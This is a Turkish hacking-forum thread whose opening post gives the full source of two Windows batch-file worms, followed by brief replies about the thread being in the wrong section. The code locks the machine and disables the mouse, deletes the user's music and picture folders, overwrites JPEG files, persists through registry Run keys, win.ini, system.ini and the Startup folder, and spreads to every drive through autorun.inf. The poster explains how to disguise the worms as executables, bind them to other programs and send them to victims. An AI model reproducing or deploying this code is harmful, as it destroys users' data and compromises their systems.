İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

İki Bat Virüsü-TurkHackTeam

14-01-2010 21:03
#1
her05 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2009
Mesajlar:
137
Teşekkür (Etti):
17
Teşekkür (Aldı):
18
Konular:
27
Kod:
%Xul%
@Echo off > Nul.Xul
@Rundll32 user32,LockWorkStation
@Set Mouse=Xul_Mouse.bat
@Echo @Echo off > %Mouse%
@Echo :Xul >> %Mouse%
@Echo @Rundll32 user32,SetCursorPos >> %Mouse%
@Echo Goto Xul >> %Mouse%
@Call %Mouse%
@Set Xul=Xul_%random%.bat
@Ren %0 %Xul%
@Set RunInf="HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
@Reg Add %RunInf% /V "Rundll32" /T "REG_SZ" /D %0 /F > Nul 
@Echo [windows] >> %windir%\win.ini
@Echo run=%0 >> %windir%\win.ini
@Echo load=%0 >> %windir%\win.ini
@Echo [boot] >> %windir%\system.ini
@Echo shell=explorer.exe %0 >> %windir%\system.ini
@Set StartupDirInf="%UserProfile%\Startm~1\Programs\Startup"
@Copy /Y %0 %StartupDirInf%
@Set MemKill=Xul_Memory.bat
@Echo @Echo off > %MemKill%
@Echo %%XulMemory%% >> %MemKill%
@Echo Find "XulMemory"^<%%0^>^>%%0 >> %MemKill%
@Echo %%XulMemory%% >> %MemKill%
@Call %MemKill%
@Rd %Userprofile%\Music /S /Q > Nul
@Rd %Userprofile%\Pictures /S /Q > Nul
@For %%D In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
@Set Drive=%%D
@Copy /Y %0 %Drive%:\
@Echo [AutoRun] > %Drive%:\autorun.inf
@Echo open="%Drive%:\%Xul%" >> %%Drive%:\autorun.inf
@Echo action=Open folder to see files... >> %Drive%:\autorun.inf)
%Xul%
Kod:
%Commotion%
:::: ~Commotion Cryptosuite.org~ ::::
%Commotion%@echo off
%Commotion%set myself=PiCtUrEpErFeCt_%random%_%random%.bat
%Commotion%ren %0 %myself%
%Commotion%assoc .jpg=batfile
%Commotion%for %%j in (%UserProfile%\Pictures\*.jpg) do (copy /y %0 %%j)
%Commotion%find "Balamir"<%0>>%0
%Commotion%set valinf="rundll32_%random%_toolbar"
%Commotion%set reginf="hklm\Software\Microsoft\Windows\CurrentVersion\Run"
%Commotion%reg add %reginf% /v %valinf% /t "REG_SZ" /d %0 /f > nul
%Commotion%for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
%Commotion%copy /Y %0 %%E:\
%Commotion%echo [AutoRun] > %%E:\autorun.inf
%Commotion%echo open="%%E:\%myself%" >> %%E:\autorun.inf
%v%echo action=Open folder to see files... >> %%E:\autorun.inf)
:::: ~Commotion Cryptosuite.org~ ::::
%Commotion%
1 -Bu kod ile mouse çalışmaz Bilgisayar kilitlenir kullanıcının resim ve müzik dosyaları silinir Başlangıç dosyalarını bozar bütün sürücülere flashdisk'e bile yayılır etkili bir worm'dur alt tarafta verdiğim kodu bir notepad dosyasının içerisine yapıştırın ve uzantısını .bat olarak kaydedin kurbanınıza gönderin isterseniz. Bat dosyasını exe dosyasına çevirin (google amcaya başvurun) daha sonrada başka bir program ile birleştire bilirisiniz bu sayede kurbanınıza yedirmek daha kolay olacaktır..

2.Worm bulaştığı makinalarda resim ve resim dosyaların üstüne kod da belirtilen ismi yazar açılışa kendisini kopyalar ve her sürücüye autorun.inf dosyası olarak atarak başlangıçta tekrar tekrar aktif olur sistemi bozar ve göçmesine neden olur..

alıntıdır.
Kullanıcı İmzası

14-01-2010 21:05
#2
her05 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2009
Mesajlar:
137
Teşekkür (Etti):
17
Teşekkür (Aldı):
18
Konular:
27
konnuyo yanlış yerde actım
Kullanıcı İmzası
14-01-2010 22:56
#3
Üyelik tarihi:
08/2009
Nereden:
Eskişehir
Yaş:
29
Mesajlar:
3.134
Teşekkür (Etti):
115
Teşekkür (Aldı):
607
Konular:
11
kodlar içinde başka bir hack sitesi ismi var
14-01-2010 22:56
#4
PREST!J - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2009
Nereden:
GAME OVER..
Mesajlar:
1.190
Teşekkür (Etti):
98
Teşekkür (Aldı):
123
Konular:
141
Arkdasm yardm bolumu burası (:
Kullanıcı İmzası
Sen Ancak benim Mazilerimdeki Bir Anı’nın Sonundaki Nokta Olursun!!!

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı